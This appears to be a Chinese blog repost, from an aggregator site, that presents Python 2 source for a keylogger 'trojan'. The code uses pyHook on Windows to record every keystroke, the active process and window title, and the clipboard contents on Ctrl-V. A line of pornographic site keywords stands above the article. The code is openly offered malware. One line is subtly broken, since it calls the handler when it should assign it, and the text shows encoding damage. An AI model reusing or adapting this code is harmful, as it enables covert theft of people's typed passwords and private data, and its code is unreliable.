日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

python实现键盘记录木马

發(fā)布時間:2023/12/3 python 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 python实现键盘记录木马 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

pyHook

第三方庫,用于捕捉特定的Windows事件,封裝了所有底層調(diào)用,我們
只需要關(guān)注程序邏輯。

更多內(nèi)容及使用方法請自行查找
下載鏈接:http://sourceforge.net/projects/pyhook/


主干邏輯圖

當程序運行后,每當用戶在鍵盤按下一個鍵,就會觸發(fā)鉤子函數(shù),調(diào)用 鍵盤記錄函數(shù) 記錄按鍵內(nèi)容,該函數(shù)又會調(diào)用 進程切換函數(shù) 來應(yīng)對焦點窗口切換的情況并打印出相應(yīng)的進程名稱。


代碼及注釋

引用及定義部分

# !/usr/bin/env python # -*- coding: utf-8 -*- __author__ = 'xy'from ctypes import * import pythoncom import pyHook import win32clipboarduser32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = None

進程切換函數(shù)

def get_current_process():# 獲得窗口句柄hwnd = user32.GetForegroundWindow()# 獲得進程IDpid = c_ulong(0)user32.GetWindowThreadProcessID(hwnd, byref(pid))# 保存當前進程IDprocess_id = "%d" % pid.value# 申請內(nèi)存executable = create_string_buffer("\x00" * 512)h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)psapi.GetModuleBaseName(h_process, None, byref(executable), 512)# 讀取窗口標題window_title = create_string_buffer("\x00" * 512)length = user32.GetWindowTextA(hwnd, byref(window_title), 512)# 輸出print "\n [ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)# 關(guān)閉句柄kernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)

鍵盤記錄函數(shù)

def KeyStroke(event):global current_window# 檢查目標是否切換窗口if event.WindowName != current_window:current_window = event.WindowNameget_current_process()# 檢測按鍵是否為常規(guī)鍵if event.Ascii > 32 and event.Ascii < 127:print chr(event.Ascii),else:# 如果輸入為ctrl-v 則獲取剪貼板內(nèi)容if event.Key == "V":win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()print "[PASTE] - %s" % (pasted_value),else:print "[%s]" % event.Key,return True

主函數(shù)

# 創(chuàng)建和注冊鉤子函數(shù)管理器 kl = pyHook.HookManager() kl.KeyDown = KeyStroke()# 注冊鍵盤記錄的鉤子并永久執(zhí)行 kl.HookKeyboard() pythoncom.PumpMessages()

總結(jié)

以上是生活随笔為你收集整理的python实现键盘记录木马的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。